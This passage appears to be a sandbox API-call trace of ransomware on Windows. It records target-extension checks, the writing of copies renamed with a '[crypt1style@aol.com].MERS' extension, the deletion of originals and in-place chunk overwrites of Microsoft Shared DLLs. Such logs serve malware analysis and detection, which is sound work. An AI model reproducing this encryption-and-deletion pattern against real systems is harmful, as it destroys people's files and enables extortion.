lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0049.502] lstrlenW (lpString=".pdf") returned 4 [0049.502] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.502] lstrlenW (lpString=".xls") returned 4 [0049.502] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.502] lstrlenW (lpString=".xlsx") returned 5 [0049.502] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0049.502] lstrlenW (lpString=".ppt") returned 4 [0049.502] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.502] lstrlenW (lpString=".zip") returned 4 [0049.502] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.502] lstrlenW (lpString=".rar") returned 4 [0049.502] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.502] lstrlenW (lpString=".bz2") returned 4 [0049.502] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.502] lstrlenW (lpString=".7z") returned 3 [0049.502] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.502] lstrlenW (lpString=".dbf") returned 4 [0049.502] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.502] lstrlenW (lpString=".1cd") returned 4 [0049.502] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.503] lstrlenW (lpString=".jpg") returned 4 [0049.503] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.503] lstrlenW (lpString=".doc") returned 4 [0049.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.503] lstrlenW (lpString=".docx") returned 5 [0049.503] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0049.503] lstrlenW (lpString=".pdf") returned 4 [0049.503] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.503] lstrlenW (lpString=".xls") returned 4 [0049.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.503] lstrlenW (lpString=".xlsx") returned 5 [0049.503] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0049.503] lstrlenW (lpString=".ppt") returned 4 [0049.503] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.503] lstrlenW (lpString=".zip") returned 4 [0049.503] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.503] lstrlenW (lpString=".rar") returned 4 [0049.503] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.503] lstrlenW (lpString=".bz2") returned 4 [0049.503] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.503] lstrlenW (lpString=".7z") returned 3 [0049.503] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.503] lstrlenW (lpString=".dbf") returned 4 [0049.503] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.504] lstrlenW (lpString=".1cd") returned 4 [0049.504] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.504] lstrlenW (lpString=".jpg") returned 4 [0049.504] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.504] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0049.504] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0049.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.870] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1369952) returned 1 [0049.870] CloseHandle (hObject=0x1e4) returned 1 [0049.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0049.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.871] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.871] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.984] GetLastError () returned 0x0 [0049.985] ReadFile (in: hFile=0x1e4, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.319] WriteFile (in: hFile=0x1f8, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0050.455] ReadFile (in: hFile=0x1e4, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x4e770, lpOverlapped=0x0) returned 1 [0050.467] WriteFile (in: hFile=0x1f8, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0050.501] ReadFile (in: hFile=0x1e4, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.501] WriteFile (in: hFile=0x1f8, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.501] SetEndOfFile (hFile=0x1f8) returned 1 [0050.501] CloseHandle (hObject=0x1f8) returned 1 [0050.501] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.501] SetEndOfFile (hFile=0x1e4) returned 1 [0050.504] CloseHandle (hObject=0x1e4) returned 1 [0050.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.504] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.505] lstrlenW (lpString=".doc") returned 4 [0050.505] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.505] lstrlenW (lpString=".docx") returned 5 [0050.505] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0050.505] lstrlenW (lpString=".pdf") returned 4 [0050.505] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.505] lstrlenW (lpString=".xls") returned 4 [0050.505] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.505] lstrlenW (lpString=".xlsx") returned 5 [0050.505] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0050.505] lstrlenW (lpString=".ppt") returned 4 [0050.505] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.505] lstrlenW (lpString=".zip") returned 4 [0050.505] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.505] lstrlenW (lpString=".rar") returned 4 [0050.505] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.505] lstrlenW (lpString=".bz2") returned 4 [0050.505] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.505] lstrlenW (lpString=".7z") returned 3 [0050.505] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.505] lstrlenW (lpString=".dbf") returned 4 [0050.505] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.505] lstrlenW (lpString=".1cd") returned 4 [0050.505] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.505] lstrlenW (lpString=".jpg") returned 4 [0050.505] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.506] lstrlenW (lpString=".doc") returned 4 [0050.506] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.506] lstrlenW (lpString=".docx") returned 5 [0050.506] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0050.506] lstrlenW (lpString=".pdf") returned 4 [0050.506] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.506] lstrlenW (lpString=".xls") returned 4 [0050.506] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.506] lstrlenW (lpString=".xlsx") returned 5 [0050.506] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0050.506] lstrlenW (lpString=".ppt") returned 4 [0050.506] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.506] lstrlenW (lpString=".zip") returned 4 [0050.506] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.506] lstrlenW (lpString=".rar") returned 4 [0050.506] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.506] lstrlenW (lpString=".bz2") returned 4 [0050.506] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.506] lstrlenW (lpString=".7z") returned 3 [0050.506] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.506] lstrlenW (lpString=".dbf") returned 4 [0050.506] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.506] lstrlenW (lpString=".1cd") returned 4 [0050.506] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0050.506] lstrlenW (lpString=".jpg") returned 4 [0050.506] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.506] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0050.507] lstrlenW (lpString="VISFILT.DLL") returned 11 [0050.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.693] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2124664) returned 1 [0050.693] CloseHandle (hObject=0x218) returned 1 [0050.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0050.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0050.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.694] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0050.694] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.694] ReadFile (in: hFile=0x218, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.704] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.704] ReadFile (in: hFile=0x218, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.767] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.767] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.767] ReadFile (in: hFile=0x218, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.908] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.908] WriteFile (in: hFile=0x218, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0051.070] SetEndOfFile (hFile=0x218) returned 1 [0051.070] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0051.070] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.070] WriteFile (in: hFile=0x218, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.079] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.079] WriteFile (in: hFile=0x218, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.081] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.081] WriteFile (in: hFile=0x218, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.082] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0051.082] CloseHandle (hObject=0x218) returned 1 [0051.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.083] lstrlenW (lpString=".doc") returned 4 [0051.083] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0051.083] lstrlenW (lpString=".docx") returned 5 [0051.083] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0051.083] lstrlenW (lpString=".pdf") returned 4 [0051.083] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0051.083] lstrlenW (lpString=".xls") returned 4 [0051.083] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0051.083] lstrlenW (lpString=".xlsx") returned 5 [0051.083] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0051.083] lstrlenW (lpString=".ppt") returned 4 [0051.083] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0051.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.083] lstrlenW (lpString=".zip") returned 4 [0051.083] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0051.083] lstrlenW (lpString=".rar") returned 4 [0051.083] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0051.083] lstrlenW (lpString=".bz2") returned 4 [0051.083] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0051.083] lstrlenW (lpString=".7z") returned 3 [0051.083] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0051.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.083] lstrlenW (lpString=".dbf") returned 4 [0051.084] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0051.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.084] lstrlenW (lpString=".1cd") returned 4 [0051.084] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0051.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.084] lstrlenW (lpString=".jpg") returned 4 [0051.084] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0051.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.084] lstrlenW (lpString=".doc") returned 4 [0051.084] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0051.084] lstrlenW (lpString=".docx") returned 5 [0051.084] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0051.084] lstrlenW (lpString=".pdf") returned 4 [0051.084] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0051.084] lstrlenW (lpString=".xls") returned 4 [0051.084] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0051.084] lstrlenW (lpString=".xlsx") returned 5 [0051.084] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0051.084] lstrlenW (lpString=".ppt") returned 4 [0051.084] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0051.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.084] lstrlenW (lpString=".zip") returned 4 [0051.084] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0051.084] lstrlenW (lpString=".rar") returned 4 [0051.084] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0051.084] lstrlenW (lpString=".bz2") returned 4 [0051.084] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0051.084] lstrlenW (lpString=".7z") returned 3 [0051.084] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0051.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.084] lstrlenW (lpString=".dbf") returned 4 [0051.084] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0051.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.084] lstrlenW (lpString=".1cd") returned 4 [0051.084] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0051.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0051.085] lstrlenW (lpString=".jpg") returned 4 [0051.085] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0051.085] lstrcmpiW (lpString1=".CGM", lpString2=".MERS") returned -1 [0051.085] lstrlenW (lpString="MS.CGM") returned 6 [0051.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.006] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1908) returned 1 [0052.006] CloseHandle (hObject=0x21c) returned 1 [0052.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0052.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0052.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.007] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.007] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0052.007] GetLastError () returned 0x0 [0052.007] ReadFile (in: hFile=0x21c, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x774, lpOverlapped=0x0) returned 1 [0052.054] WriteFile (in: hFile=0x220, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x780, lpOverlapped=0x0) returned 1 [0052.055] ReadFile (in: hFile=0x21c, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 